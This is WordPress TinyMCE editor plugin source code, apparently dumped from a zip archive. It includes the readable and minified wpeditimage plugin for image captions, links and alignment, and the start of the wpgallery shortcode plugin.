		return metadata;
	}

	function hasTextContent( node ) {
		return node && !! ( node.textContent || node.innerText ).replace( /\ufeff/g, '' );
	}

	// Verify HTML in captions.
	function verifyHTML( caption ) {
		if ( ! caption || ( caption.indexOf( '<' ) === -1 && caption.indexOf( '>' ) === -1 ) ) {
			return caption;
		}

		if ( ! serializer ) {
			serializer = new tinymce.html.Serializer( {}, editor.schema );
		}

		return serializer.serialize( editor.parser.parse( caption, { forced_root_block: false } ) );
	}

	function updateImage( $imageNode, imageData ) {
		var classes, className, node, html, parent, wrap, linkNode, imageNode,
			captionNode, dd, dl, id, attrs, linkAttrs, width, height, align,
			$imageNode, srcset, src,
			dom = editor.dom;

		if ( ! $imageNode || ! $imageNode.length ) {
			return;
		}

		imageNode = $imageNode[0];
		classes = tinymce.explode( imageData.extraClasses, ' ' );

		if ( ! classes ) {
			classes = [];
		}

		if ( ! imageData.caption ) {
			classes.push( 'align' + imageData.align );
		}

		if ( imageData.attachment_id ) {
			classes.push( 'wp-image-' + imageData.attachment_id );
			if ( imageData.size && imageData.size !== 'custom' ) {
				classes.push( 'size-' + imageData.size );
			}
		}

		width = imageData.width;
		height = imageData.height;

		if ( imageData.size === 'custom' ) {
			width = imageData.customWidth;
			height = imageData.customHeight;
		}

		attrs = {
			src: imageData.url,
			width: width || null,
			height: height || null,
			title: imageData.title || null,
			'class': classes.join( ' ' ) || null
		};

		dom.setAttribs( imageNode, attrs );

		// Preserve empty alt attributes.
		$imageNode.attr( 'alt', imageData.alt || '' );

		linkAttrs = {
			href: imageData.linkUrl,
			rel: imageData.linkRel || null,
			target: imageData.linkTargetBlank ? '_blank': null,
			'class': imageData.linkClassName || null
		};

		if ( imageNode.parentNode && imageNode.parentNode.nodeName === 'A' && ! hasTextContent( imageNode.parentNode ) ) {
			// Update or remove an existing link wrapped around the image.
			if ( imageData.linkUrl ) {
				dom.setAttribs( imageNode.parentNode, linkAttrs );
			} else {
				dom.remove( imageNode.parentNode, true );
			}
		} else if ( imageData.linkUrl ) {
			if ( linkNode = dom.getParent( imageNode, 'a' ) ) {
				// The image is inside a link together with other nodes,
				// or is nested in another node, move it out.
				dom.insertAfter( imageNode, linkNode );
			}

			// Add link wrapped around the image.
			linkNode = dom.create( 'a', linkAttrs );
			imageNode.parentNode.insertBefore( linkNode, imageNode );
			linkNode.appendChild( imageNode );
		}

		captionNode = editor.dom.getParent( imageNode, '.mceTemp' );

		if ( imageNode.parentNode && imageNode.parentNode.nodeName === 'A' && ! hasTextContent( imageNode.parentNode ) ) {
			node = imageNode.parentNode;
		} else {
			node = imageNode;
		}

		if ( imageData.caption ) {
			imageData.caption = verifyHTML( imageData.caption );

			id = imageData.attachment_id ? 'attachment_' + imageData.attachment_id : null;
			align = 'align' + ( imageData.align || 'none' );
			className = 'wp-caption ' + align;

			if ( imageData.captionClassName ) {
				className += ' ' + imageData.captionClassName.replace( /[<>&]+/g,  '' );
			}

			if ( ! editor.getParam( 'wpeditimage_html5_captions' ) ) {
				width = parseInt( width, 10 );
				width += 10;
			}

			if ( captionNode ) {
				dl = dom.select( 'dl.wp-caption', captionNode );

				if ( dl.length ) {
					dom.setAttribs( dl, {
						id: id,
						'class': className,
						style: 'width: ' + width + 'px'
					} );
				}

				dd = dom.select( '.wp-caption-dd', captionNode );

				if ( dd.length ) {
					dom.setHTML( dd[0], imageData.caption );
				}

			} else {
				id = id ? 'id="'+ id +'" ' : '';

				// Should create a new function for generating the caption markup.
				html =  '<dl ' + id + 'class="' + className +'" style="width: '+ width +'px">' +
					'<dt class="wp-caption-dt"></dt><dd class="wp-caption-dd">'+ imageData.caption +'</dd></dl>';

				wrap = dom.create( 'div', { 'class': 'mceTemp' }, html );

				if ( parent = dom.getParent( node, 'p' ) ) {
					parent.parentNode.insertBefore( wrap, parent );
				} else {
					node.parentNode.insertBefore( wrap, node );
				}

				editor.$( wrap ).find( 'dt.wp-caption-dt' ).append( node );

				if ( parent && dom.isEmpty( parent ) ) {
					dom.remove( parent );
				}
			}
		} else if ( captionNode ) {
			// Remove the caption wrapper and place the image in new paragraph.
			parent = dom.create( 'p' );
			captionNode.parentNode.insertBefore( parent, captionNode );
			parent.appendChild( node );
			dom.remove( captionNode );
		}

		$imageNode = editor.$( imageNode );
		srcset = $imageNode.attr( 'srcset' );
		src = $imageNode.attr( 'src' );

		// Remove srcset and sizes if the image file was edited or the image was replaced.
		if ( srcset && src ) {
			src = src.replace( /[?#].*/, '' );

			if ( srcset.indexOf( src ) === -1 ) {
				$imageNode.attr( 'srcset', null ).attr( 'sizes', null );
			}
		}

		if ( wp.media.events ) {
			wp.media.events.trigger( 'editor:image-update', {
				editor: editor,
				metadata: imageData,
				image: imageNode
			} );
		}

		editor.nodeChanged();
	}

	function editImage( img ) {
		var frame, callback, metadata, imageNode;

		if ( typeof wp === 'undefined' || ! wp.media ) {
			editor.execCommand( 'mceImage' );
			return;
		}

		metadata = extractImageData( img );

		// Mark the image node so we can select it later.
		editor.$( img ).attr( 'data-wp-editing', 1 );

		// Manipulate the metadata by reference that is fed into the PostImage model used in the media modal.
		wp.media.events.trigger( 'editor:image-edit', {
			editor: editor,
			metadata: metadata,
			image: img
		} );

		frame = wp.media({
			frame: 'image',
			state: 'image-details',
			metadata: metadata
		} );

		wp.media.events.trigger( 'editor:frame-create', { frame: frame } );

		callback = function( imageData ) {
			editor.undoManager.transact( function() {
				updateImage( imageNode, imageData );
			} );
			frame.detach();
		};

		frame.state('image-details').on( 'update', callback );
		frame.state('replace-image').on( 'replace', callback );
		frame.on( 'close', function() {
			editor.focus();
			frame.detach();

			/*
			 * `close` fires first...
			 * To be able to update the image node, we need to find it here,
			 * and use it in the callback.
			 */
			imageNode = editor.$( 'img[data-wp-editing]' )
			imageNode.removeAttr( 'data-wp-editing' );
		});

		frame.open();
	}

	function removeImage( node ) {
		var wrap = editor.dom.getParent( node, 'div.mceTemp' );

		if ( ! wrap && node.nodeName === 'IMG' ) {
			wrap = editor.dom.getParent( node, 'a' );
		}

		if ( wrap ) {
			if ( wrap.nextSibling ) {
				editor.selection.select( wrap.nextSibling );
			} else if ( wrap.previousSibling ) {
				editor.selection.select( wrap.previousSibling );
			} else {
				editor.selection.select( wrap.parentNode );
			}

			editor.selection.collapse( true );
			editor.dom.remove( wrap );
		} else {
			editor.dom.remove( node );
		}

		editor.nodeChanged();
		editor.undoManager.add();
	}

	editor.on( 'init', function() {
		var dom = editor.dom,
			captionClass = editor.getParam( 'wpeditimage_html5_captions' ) ? 'html5-captions' : 'html4-captions';

		dom.addClass( editor.getBody(), captionClass );

		// Prevent IE11 from making dl.wp-caption resizable.
		if ( tinymce.Env.ie && tinymce.Env.ie > 10 ) {
			// The 'mscontrolselect' event is supported only in IE11+.
			dom.bind( editor.getBody(), 'mscontrolselect', function( event ) {
				if ( event.target.nodeName === 'IMG' && dom.getParent( event.target, '.wp-caption' ) ) {
					// Hide the thick border with resize handles around dl.wp-caption.
					editor.getBody().focus(); // :(
				} else if ( event.target.nodeName === 'DL' && dom.hasClass( event.target, 'wp-caption' ) ) {
					// Trigger the thick border with resize handles...
					// This will make the caption text editable.
					event.target.focus();
				}
			});
		}
	});

	editor.on( 'ObjectResized', function( event ) {
		var node = event.target;

		if ( node.nodeName === 'IMG' ) {
			editor.undoManager.transact( function() {
				var parent, width,
					dom = editor.dom;

				node.className = node.className.replace( /\bsize-[^ ]+/, '' );

				if ( parent = dom.getParent( node, '.wp-caption' ) ) {
					width = event.width || dom.getAttrib( node, 'width' );

					if ( width ) {
						width = parseInt( width, 10 );

						if ( ! editor.getParam( 'wpeditimage_html5_captions' ) ) {
							width += 10;
						}

						dom.setStyle( parent, 'width', width + 'px' );
					}
				}
			});
		}
	});

	editor.on( 'pastePostProcess', function( event ) {
		// Pasting in a caption node.
		if ( editor.dom.getParent( editor.selection.getNode(), 'dd.wp-caption-dd' ) ) {
			// Remove "non-block" elements that should not be in captions.
			editor.$( 'img, audio, video, object, embed, iframe, script, style', event.node ).remove();

			editor.$( '*', event.node ).each( function( i, node ) {
				if ( editor.dom.isBlock( node ) ) {
					// Insert <br> where the blocks used to be. Makes it look better after pasting in the caption.
					if ( tinymce.trim( node.textContent || node.innerText ) ) {
						editor.dom.insertAfter( editor.dom.create( 'br' ), node );
						editor.dom.remove( node, true );
					} else {
						editor.dom.remove( node );
					}
				}
			});

			// Trim <br> tags.
			editor.$( 'br',  event.node ).each( function( i, node ) {
				if ( ! node.nextSibling || node.nextSibling.nodeName === 'BR' ||
					! node.previousSibling || node.previousSibling.nodeName === 'BR' ) {

					editor.dom.remove( node );
				}
			} );

			// Pasted HTML is cleaned up for inserting in the caption.
			pasteInCaption = true;
		}
	});

	editor.on( 'BeforeExecCommand', function( event ) {
		var node, p, DL, align, replacement, captionParent,
			cmd = event.command,
			dom = editor.dom;

		if ( cmd === 'mceInsertContent' || cmd === 'Indent' || cmd === 'Outdent' ) {
			node = editor.selection.getNode();
			captionParent = dom.getParent( node, 'div.mceTemp' );

			if ( captionParent ) {
				if ( cmd === 'mceInsertContent' ) {
					if ( pasteInCaption ) {
						pasteInCaption = false;
						/*
						 * We are in the caption element, and in 'paste' context,
						 * and the pasted HTML was cleaned up on 'pastePostProcess' above.
						 * Let it be pasted in the caption.
						 */
						return;
					}

					/*
					 * The paste is somewhere else in the caption DL element.
					 * Prevent pasting in there as it will break the caption.
					 * Make new paragraph under the caption DL and move the caret there.
					 */
					p = dom.create( 'p' );
					dom.insertAfter( p, captionParent );
					editor.selection.setCursorLocation( p, 0 );

					/*
					 * If the image is selected and the user pastes "over" it,
					 * replace both the image and the caption elements with the pasted content.
					 * This matches the behavior when pasting over non-caption images.
					 */
					if ( node.nodeName === 'IMG' ) {
						editor.$( captionParent ).remove();
					}

					editor.nodeChanged();
				} else {
					// Clicking Indent or Outdent while an image with a caption is selected breaks the caption.
					// See #38313.
					event.preventDefault();
					event.stopImmediatePropagation();
					return false;
				}
			}
		} else if ( cmd === 'JustifyLeft' || cmd === 'JustifyRight' || cmd === 'JustifyCenter' || cmd === 'wpAlignNone' ) {
			node = editor.selection.getNode();
			align = 'align' + cmd.slice( 7 ).toLowerCase();
			DL = editor.dom.getParent( node, '.wp-caption' );

			if ( node.nodeName !== 'IMG' && ! DL ) {
				return;
			}

			node = DL || node;

			if ( editor.dom.hasClass( node, align ) ) {
				replacement = ' alignnone';
			} else {
				replacement = ' ' + align;
			}

			node.className = trim( node.className.replace( / ?align(left|center|right|none)/g, '' ) + replacement );

			editor.nodeChanged();
			event.preventDefault();

			if ( toolbar ) {
				toolbar.reposition();
			}

			editor.fire( 'ExecCommand', {
				command: cmd,
				ui: event.ui,
				value: event.value
			} );
		}
	});

	editor.on( 'keydown', function( event ) {
		var node, wrap, P, spacer,
			selection = editor.selection,
			keyCode = event.keyCode,
			dom = editor.dom,
			VK = tinymce.util.VK;

		if ( keyCode === VK.ENTER ) {
			// When pressing Enter inside a caption move the caret to a new parapraph under it.
			node = selection.getNode();
			wrap = dom.getParent( node, 'div.mceTemp' );

			if ( wrap ) {
				dom.events.cancel( event ); // Doesn't cancel all :(

				// Remove any extra dt and dd cleated on pressing Enter...
				tinymce.each( dom.select( 'dt, dd', wrap ), function( element ) {
					if ( dom.isEmpty( element ) ) {
						dom.remove( element );
					}
				});

				spacer = tinymce.Env.ie && tinymce.Env.ie < 11 ? '' : '<br data-mce-bogus="1" />';
				P = dom.create( 'p', null, spacer );

				if ( node.nodeName === 'DD' ) {
					dom.insertAfter( P, wrap );
				} else {
					wrap.parentNode.insertBefore( P, wrap );
				}

				editor.nodeChanged();
				selection.setCursorLocation( P, 0 );
			}
		} else if ( keyCode === VK.DELETE || keyCode === VK.BACKSPACE ) {
			node = selection.getNode();

			if ( node.nodeName === 'DIV' && dom.hasClass( node, 'mceTemp' ) ) {
				wrap = node;
			} else if ( node.nodeName === 'IMG' || node.nodeName === 'DT' || node.nodeName === 'A' ) {
				wrap = dom.getParent( node, 'div.mceTemp' );
			}

			if ( wrap ) {
				dom.events.cancel( event );
				removeImage( node );
				return false;
			}
		}
	});

	/*
	 * After undo/redo FF seems to set the image height very slowly when it is set to 'auto' in the CSS.
	 * This causes image.getBoundingClientRect() to return wrong values and the resize handles are shown in wrong places.
	 * Collapse the selection to remove the resize handles.
	 */
	if ( tinymce.Env.gecko ) {
		editor.on( 'undo redo', function() {
			if ( editor.selection.getNode().nodeName === 'IMG' ) {
				editor.selection.collapse();
			}
		});
	}

	editor.wpSetImgCaption = function( content ) {
		return parseShortcode( content );
	};

	editor.wpGetImgCaption = function( content ) {
		return getShortcode( content );
	};

	editor.on( 'beforeGetContent', function( event ) {
		if ( event.format !== 'raw' ) {
			editor.$( 'img[id="__wp-temp-img-id"]' ).removeAttr( 'id' );
		}
	});

	editor.on( 'BeforeSetContent', function( event ) {
		if ( event.format !== 'raw' ) {
			event.content = editor.wpSetImgCaption( event.content );
		}
	});

	editor.on( 'PostProcess', function( event ) {
		if ( event.get ) {
			event.content = editor.wpGetImgCaption( event.content );
		}
	});

	( function() {
		var wrap;

		editor.on( 'dragstart', function() {
			var node = editor.selection.getNode();

			if ( node.nodeName === 'IMG' ) {
				wrap = editor.dom.getParent( node, '.mceTemp' );

				if ( ! wrap && node.parentNode.nodeName === 'A' && ! hasTextContent( node.parentNode ) ) {
					wrap = node.parentNode;
				}
			}
		} );

		editor.on( 'drop', function( event ) {
			var dom = editor.dom,
				rng = tinymce.dom.RangeUtils.getCaretRangeFromPoint( event.clientX, event.clientY, editor.getDoc() );

			// Don't allow anything to be dropped in a captioned image.
			if ( rng && dom.getParent( rng.startContainer, '.mceTemp' ) ) {
				event.preventDefault();
			} else if ( wrap ) {
				event.preventDefault();

				editor.undoManager.transact( function() {
					if ( rng ) {
						editor.selection.setRng( rng );
					}

					editor.selection.setNode( wrap );
					dom.remove( wrap );
				} );
			}

			wrap = null;
		} );
	} )();

	// Add to editor.wp.
	editor.wp = editor.wp || {};
	editor.wp.isPlaceholder = isPlaceholder;

	// Back-compat.
	return {
		_do_shcode: parseShortcode,
		_get_shcode: getShortcode
	};
});
PK�\d[�l�#/#/wpeditimage/plugin.min.jsnu�[���tinymce.PluginManager.add("wpeditimage",function(g){var r,u,n,c,a,e=tinymce.each,l=tinymce.trim,t=tinymce.Env.iOS;function i(e){return!(!g.dom.getAttrib(e,"data-mce-placeholder")&&!g.dom.getAttrib(e,"data-mce-object"))}function o(e){e=g.$(e).parents("[contenteditable]");return e&&"false"===e.attr("contenteditable")}function d(e){return e.replace(/(?:<p>)?\[(?:wp_)?caption([^\]]+)\]([\s\S]+?)\[\/(?:wp_)?caption\](?:<\/p>)?/g,function(e,t,n){var a,i,o,r,c,d=t.match(/id=['"]([^'"]*)['"] ?/);return(c=(t=(i=(t=(a=(t=d?t.replace(d[0],""):t).match(/align=['"]([^'"]*)['"] ?/))?t.replace(a[0],""):t).match(/class=['"]([^'"]*)['"] ?/))?t.replace(i[0],""):t).match(/width=['"]([0-9]*)['"] ?/))&&(t=t.replace(c[0],"")),r=(r=(n=l(n)).match(/((?:<a [^>]+>)?<img [^>]+>(?:<\/a>)?)([\s\S]*)/i))&&r[2]?(o=l(r[2]),l(r[1])):(o=l(t).replace(/caption=['"]/,"").replace(/['"]$/,""),n),d=d&&d[1]?d[1].replace(/[<>&]+/g,""):"",a=a&&a[1]?a[1]:"alignnone",i=i&&i[1]?" "+i[1].replace(/[<>&]+/g,""):"",(c=(c=!c&&r?r.match(/width=['"]([0-9]*)['"]/):c)&&c[1]?c[1]:c)&&o?(c=parseInt(c,10),g.getParam("wpeditimage_html5_captions")||(c+=10),'<div class="mceTemp"><dl id="'+d+'" class="wp-caption '+a+i+'" style="width: '+c+'px"><dt class="wp-caption-dt">'+r+'</dt><dd class="wp-caption-dd">'+o+"</dd></dl></div>"):n})}function s(e){return e.replace(/(?:<div [^>]+mceTemp[^>]+>)?\s*(<dl [^>]+wp-caption[^>]+>[\s\S]+?<\/dl>)\s*(?:<\/div>)?/g,function(e,t){var n="";return-1===t.indexOf("<img ")||-1!==t.indexOf("</p>")?t.replace(/<d[ldt]( [^>]+)?>/g,"").replace(/<\/d[ldt]>/g,""):-1===(n=t.replace(/\s*<dl ([^>]+)>\s*<dt [^>]+>([\s\S]+?)<\/dt>\s*<dd [^>]+>([\s\S]*?)<\/dd>\s*<\/dl>\s*/gi,function(e,t,n,a){var i,o,r=n.match(/width="([0-9]*)"/);return r=r&&r[1]?r[1]:"",o=(i=(i=t.match(/class="([^"]*)"/))&&i[1]?i[1]:"").match(/align[a-z]+/i)||"alignnone",r&&a?'[caption id="'+((t=t.match(/id="([^"]*)"/))&&t[1]?t[1]:"")+'" align="'+o+'" width="'+r+'"'+(i=(i=i.replace(/wp-caption ?|align[a-z]+ ?/gi,""))&&' class="'+i+'"')+"]"+n+" "+(a=(a=a.replace(/\r\n|\r/g,"\n").replace(/<[a-zA-Z0-9]+( [^<>]+)?>/g,function(e){return e.replace(/[\r\n\t]+/," ")})).replace(/\s*\n\s*/g,"<br />"))+"[/caption]":"alignnone"!==o[0]?n.replace(/><img/,' class="'+o[0]+'"><img'):n})).indexOf("[caption")?t.replace(/[\s\S]*?((?:<a [^>]+>)?<img [^>]+>(?:<\/a>)?)(<p>[\s\S]*<\/p>)?[\s\S]*/gi,"<p>$1</p>$2"):n})}function h(e){return e&&(e.textContent||e.innerText).replace(/\ufeff/g,"")}function m(e){var t=g.dom.getParent(e,"div.mceTemp");(t=t||"IMG"!==e.nodeName?t:g.dom.getParent(e,"a"))?(t.nextSibling?g.selection.select(t.nextSibling):t.previousSibling?g.selection.select(t.previousSibling):g.selection.select(t.parentNode),g.selection.collapse(!0),g.dom.remove(t)):g.dom.remove(e),g.nodeChanged(),g.undoManager.add()}return g.addButton("wp_img_remove",{tooltip:"Remove",icon:"dashicon dashicons-no",onclick:function(){m(g.selection.getNode())}}),g.addButton("wp_img_edit",{tooltip:"Edit|button",icon:"dashicon dashicons-edit",onclick:function(){var e,t,n,p;e=g.selection.getNode(),"undefined"!=typeof wp&&wp.media?(n=function(e){var t,n,a,i,o=[],r=g.dom,c=/^\d+$/;(n={attachment_id:!1,size:"custom",caption:"",align:"none",extraClasses:"",link:!1,linkUrl:"",linkClassName:"",linkTargetBlank:!1,linkRel:"",title:""}).url=r.getAttrib(e,"src"),n.alt=r.getAttrib(e,"alt"),n.title=r.getAttrib(e,"title"),a=r.getAttrib(e,"width"),i=r.getAttrib(e,"height"),(!c.test(a)||parseInt(a,10)<1)&&(a=e.naturalWidth||e.width);(!c.test(i)||parseInt(i,10)<1)&&(i=e.naturalHeight||e.height);n.customWidth=n.width=a,n.customHeight=n.height=i,c=tinymce.explode(e.className," "),t=[],tinymce.each(c,function(e){/^wp-image/.test(e)?n.attachment_id=parseInt(e.replace("wp-image-",""),10):/^align/.test(e)?n.align=e.replace("align",""):/^size/.test(e)?n.size=e.replace("size-",""):t.push(e)}),n.extraClasses=t.join(" "),(a=r.getParents(e,".wp-caption")).length&&(a=a[0],c=a.className.split(" "),tinymce.each(c,function(e){/^align/.test(e)?n.align=e.replace("align",""):e&&"wp-caption"!==e&&o.push(e)}),n.captionClassName=o.join(" "),(i=r.select("dd.wp-caption-dd",a)).length)&&(i=i[0],n.caption=g.serializer.serialize(i).replace(/<br[^>]*>/g,"$&\n").replace(/^<p>/,"").replace(/<\/p>$/,""));e.parentNode&&"A"===e.parentNode.nodeName&&(c=e.parentNode,n.linkUrl=r.getAttrib(c,"href"),n.linkTargetBlank="_blank"===r.getAttrib(c,"target"),n.linkRel=r.getAttrib(c,"rel"),n.linkClassName=c.className);return n}(e),g.$(e).attr("data-wp-editing",1),wp.media.events.trigger("editor:image-edit",{editor:g,metadata:n,image:e}),t=wp.media({frame:"image",state:"image-details",metadata:n}),wp.media.events.trigger("editor:frame-create",{frame:t}),e=function(m){g.undoManager.transact(function(){var e,t,n,a,i,o,r,c,d,l,s;e=p,t=m,s=g.dom,e&&e.length&&(a=e[0],r=(r=tinymce.explode(t.extraClasses," "))||[],t.caption||r.push("align"+t.align),t.attachment_id&&(r.push("wp-image-"+t.attachment_id),t.size)&&"custom"!==t.size&&r.push("size-"+t.size),l=t.width,c=t.height,"custom"===t.size&&(l=t.customWidth,c=t.customHeight),c={src:t.url,width:l||null,height:c||null,title:t.title||null,class:r.join(" ")||null},s.setAttribs(a,c),e.attr("alt",t.alt||""),r={href:t.linkUrl,rel:t.linkRel||null,target:t.linkTargetBlank?"_blank":null,class:t.linkClassName||null},a.parentNode&&"A"===a.parentNode.nodeName&&!h(a.parentNode)?t.linkUrl?s.setAttribs(a.parentNode,r):s.remove(a.parentNode,!0):t.linkUrl&&((c=s.getParent(a,"a"))&&s.insertAfter(a,c),c=s.create("a",r),a.parentNode.insertBefore(c,a),c.appendChild(a)),r=g.dom.getParent(a,".mceTemp"),c=a.parentNode&&"A"===a.parentNode.nodeName&&!h(a.parentNode)?a.parentNode:a,t.caption?(t.caption=function(e){if(!e||-1===e.indexOf("<")&&-1===e.indexOf(">"))return e;u=u||new tinymce.html.Serializer({},g.schema);return u.serialize(g.parser.parse(e,{forced_root_block:!1}))}(t.caption),o=t.attachment_id?"attachment_"+t.attachment_id:null,d="wp-caption "+("align"+(t.align||"none")),t.captionClassName&&(d+=" "+t.captionClassName.replace(/[<>&]+/g,"")),g.getParam("wpeditimage_html5_captions")||(l=parseInt(l,10),l+=10),r?((i=s.select("dl.wp-caption",r)).length&&s.setAttribs(i,{id:o,class:d,style:"width: "+l+"px"}),(i=s.select(".wp-caption-dd",r)).length&&s.setHTML(i[0],t.caption)):(i="<dl "+(o=o?'id="'+o+'" ':"")+'class="'+d+'" style="width: '+l+'px"><dt class="wp-caption-dt"></dt><dd class="wp-caption-dd">'+t.caption+"</dd></dl>",o=s.create("div",{class:"mceTemp"},i),(n=s.getParent(c,"p"))?n.parentNode.insertBefore(o,n):c.parentNode.insertBefore(o,c),g.$(o).find("dt.wp-caption-dt").append(c),n&&s.isEmpty(n)&&s.remove(n))):r&&(n=s.create("p"),r.parentNode.insertBefore(n,r),n.appendChild(c),s.remove(r)),e=g.$(a),d=e.attr("srcset"),l=e.attr("src"),d&&l&&(l=l.replace(/[?#].*/,""),-1===d.indexOf(l))&&e.attr("srcset",null).attr("sizes",null),wp.media.events&&wp.media.events.trigger("editor:image-update",{editor:g,metadata:t,image:a}),g.nodeChanged())}),t.detach()},t.state("image-details").on("update",e),t.state("replace-image").on("replace",e),t.on("close",function(){g.focus(),t.detach(),(p=g.$("img[data-wp-editing]")).removeAttr("data-wp-editing")}),t.open()):g.execCommand("mceImage")}}),e({alignleft:"Align left",aligncenter:"Align center",alignright:"Align right",alignnone:"No alignment"},function(e,n){var t=n.slice(5);g.addButton("wp_img_"+n,{tooltip:e,icon:"dashicon dashicons-align-"+t,cmd:"alignnone"===n?"wpAlignNone":"Justify"+t.slice(0,1).toUpperCase()+t.slice(1),onPostRender:function(){var t=this;g.on("NodeChange",function(e){"IMG"===e.element.nodeName&&(e=g.dom.getParent(e.element,".wp-caption")||e.element,"alignnone"===n?t.active(!/\balign(left|center|right)\b/.test(e.className)):t.active(g.dom.hasClass(e,n)))})}})}),g.once("preinit",function(){g.wp&&g.wp._createToolbar&&(r=g.wp._createToolbar(["wp_img_alignleft","wp_img_aligncenter","wp_img_alignright","wp_img_alignnone","wp_img_edit","wp_img_remove"]))}),g.on("wptoolbar",function(e){"IMG"!==e.element.nodeName||i(e.element)||(e.toolbar=r)}),t&&g.on("init",function(){g.on("touchstart",function(e){"IMG"!==e.target.nodeName||o(e.target)||(n=!0)}),g.dom.bind(g.getDoc(),"touchmove",function(){n=!1}),g.on("touchend",function(e){var t;n&&"IMG"===e.target.nodeName&&!o(e.target)?(t=e.target,n=!1,window.setTimeout(function(){g.selection.select(t),g.nodeChanged()},100)):r&&r.hide()})}),g.on("init",function(){var t=g.dom,e=g.getParam("wpeditimage_html5_captions")?"html5-captions":"html4-captions";t.addClass(g.getBody(),e),tinymce.Env.ie&&10<tinymce.Env.ie&&t.bind(g.getBody(),"mscontrolselect",function(e){"IMG"===e.target.nodeName&&t.getParent(e.target,".wp-caption")?g.getBody().focus():"DL"===e.target.nodeName&&t.hasClass(e.target,"wp-caption")&&e.target.focus()})}),g.on("ObjectResized",function(a){var i=a.target;"IMG"===i.nodeName&&g.undoManager.transact(function(){var e,t,n=g.dom;i.className=i.className.replace(/\bsize-[^ ]+/,""),(e=n.getParent(i,".wp-caption"))&&(t=a.width||n.getAttrib(i,"width"))&&(t=parseInt(t,10),g.getParam("wpeditimage_html5_captions")||(t+=10),n.setStyle(e,"width",t+"px"))})}),g.on("pastePostProcess",function(e){g.dom.getParent(g.selection.getNode(),"dd.wp-caption-dd")&&(g.$("img, audio, video, object, embed, iframe, script, style",e.node).remove(),g.$("*",e.node).each(function(e,t){g.dom.isBlock(t)&&(tinymce.trim(t.textContent||t.innerText)?(g.dom.insertAfter(g.dom.create("br"),t),g.dom.remove(t,!0)):g.dom.remove(t))}),g.$("br",e.node).each(function(e,t){t.nextSibling&&"BR"!==t.nextSibling.nodeName&&t.previousSibling&&"BR"!==t.previousSibling.nodeName||g.dom.remove(t)}),c=!0)}),g.on("BeforeExecCommand",function(e){var t,n,a,i=e.command,o=g.dom;if("mceInsertContent"===i||"Indent"===i||"Outdent"===i){if(t=g.selection.getNode(),a=o.getParent(t,"div.mceTemp")){if("mceInsertContent"!==i)return e.preventDefault(),e.stopImmediatePropagation(),!1;c?c=!1:(n=o.create("p"),o.insertAfter(n,a),g.selection.setCursorLocation(n,0),"IMG"===t.nodeName&&g.$(a).remove(),g.nodeChanged())}}else"JustifyLeft"!==i&&"JustifyRight"!==i&&"JustifyCenter"!==i&&"wpAlignNone"!==i||(t=g.selection.getNode(),o="align"+i.slice(7).toLowerCase(),n=g.dom.getParent(t,".wp-caption"),"IMG"!==t.nodeName&&!n)||(a=g.dom.hasClass(t=n||t,o)?" alignnone":" "+o,t.className=l(t.className.replace(/ ?align(left|center|right|none)/g,"")+a),g.nodeChanged(),e.preventDefault(),r&&r.reposition(),g.fire("ExecCommand",{command:i,ui:e.ui,value:e.value}))}),g.on("keydown",function(e){var t,n,a,i=g.selection,o=e.keyCode,r=g.dom,c=tinymce.util.VK;if(o===c.ENTER)t=i.getNode(),(n=r.getParent(t,"div.mceTemp"))&&(r.events.cancel(e),tinymce.each(r.select("dt, dd",n),function(e){r.isEmpty(e)&&r.remove(e)}),a=tinymce.Env.ie&&tinymce.Env.ie<11?"":'<br data-mce-bogus="1" />',a=r.create("p",null,a),"DD"===t.nodeName?r.insertAfter(a,n):n.parentNode.insertBefore(a,n),g.nodeChanged(),i.setCursorLocation(a,0));else if((o===c.DELETE||o===c.BACKSPACE)&&("DIV"===(t=i.getNode()).nodeName&&r.hasClass(t,"mceTemp")?n=t:"IMG"!==t.nodeName&&"DT"!==t.nodeName&&"A"!==t.nodeName||(n=r.getParent(t,"div.mceTemp")),n))return r.events.cancel(e),m(t),!1}),tinymce.Env.gecko&&g.on("undo redo",function(){"IMG"===g.selection.getNode().nodeName&&g.selection.collapse()}),g.wpSetImgCaption=d,g.wpGetImgCaption=s,g.on("beforeGetContent",function(e){"raw"!==e.format&&g.$('img[id="__wp-temp-img-id"]').removeAttr("id")}),g.on("BeforeSetContent",function(e){"raw"!==e.format&&(e.content=g.wpSetImgCaption(e.content))}),g.on("PostProcess",function(e){e.get&&(e.content=g.wpGetImgCaption(e.content))}),g.on("dragstart",function(){var e=g.selection.getNode();"IMG"!==e.nodeName||(a=g.dom.getParent(e,".mceTemp"))||"A"!==e.parentNode.nodeName||h(e.parentNode)||(a=e.parentNode)}),g.on("drop",function(e){var t=g.dom,n=tinymce.dom.RangeUtils.getCaretRangeFromPoint(e.clientX,e.clientY,g.getDoc());n&&t.getParent(n.startContainer,".mceTemp")?e.preventDefault():a&&(e.preventDefault(),g.undoManager.transact(function(){n&&g.selection.setRng(n),g.selection.setNode(a),t.remove(a)})),a=null}),g.wp=g.wp||{},g.wp.isPlaceholder=i,{_do_shcode:d,_get_shcode:s}});PK�\d[c��oowpgallery/plugin.jsnu�[���/* global tinymce */
tinymce.PluginManager.add('wpgallery', function( editor ) {

	function replaceGalleryShortcodes( content ) {
		return content.replace( /\[gallery([^\]]*)\]/g, function( match ) {
			return html( 'wp-gallery', match );
		});
	}

	function html( cls, data ) {
		data = window.encodeURIComponent( data );
		return '<img src="' + tinymce.Env.transparentSrc + '" class="wp-media mceItem ' + cls + '" ' +
			'data-wp-media="' + data + '" data-mce-resize="false" data-mce-placeholder="1" alt="" />';
	}

	function restoreMediaShortcodes( content ) {
		function getAttr( str, name ) {
			name = new RegExp( name + '=\"([^\"]+)\"' ).exec( str );
			return name ? window.decodeURIComponent( name[1] ) : '';
		}

		return content.replace( /(?:<p(?: [^>]+)?>)*(<img [^>]+>)(?:<\/p>)*/g, function( match, image ) {
			var data = getAttr( image, 'data-wp-media' );

			if ( data ) {
				return '<p>' + data + '</p>';
			}

			return match;
		});
	}

	function editMedia( node ) {
		var gallery, frame, data;

		if ( node.nodeName !== 'IMG' ) {
			return;
		}

		// Check if the `wp.media` API exists.
		if ( typeof wp === 'undefined' || ! wp.media ) {
			return;
		}

		data = window.decodeURIComponent( editor.dom.getAttrib( node, 'data-wp-media' ) );

		// Make sure we've selected a gallery node.
		if ( editor.dom.hasClass( node, 'wp-gallery' ) && wp.media.gallery ) {
			gallery = wp.media.gallery;
			frame = gallery.edit( data );

			frame.state('gallery-edit').on( 'update', function( selection ) {
				var shortcode = gallery.shortcode( selection ).string();
				editor.dom.setAttrib( node, 'data-wp-media', window.encodeURIComponent( shortcode ) );
				frame.detach();
			});
		}
	}

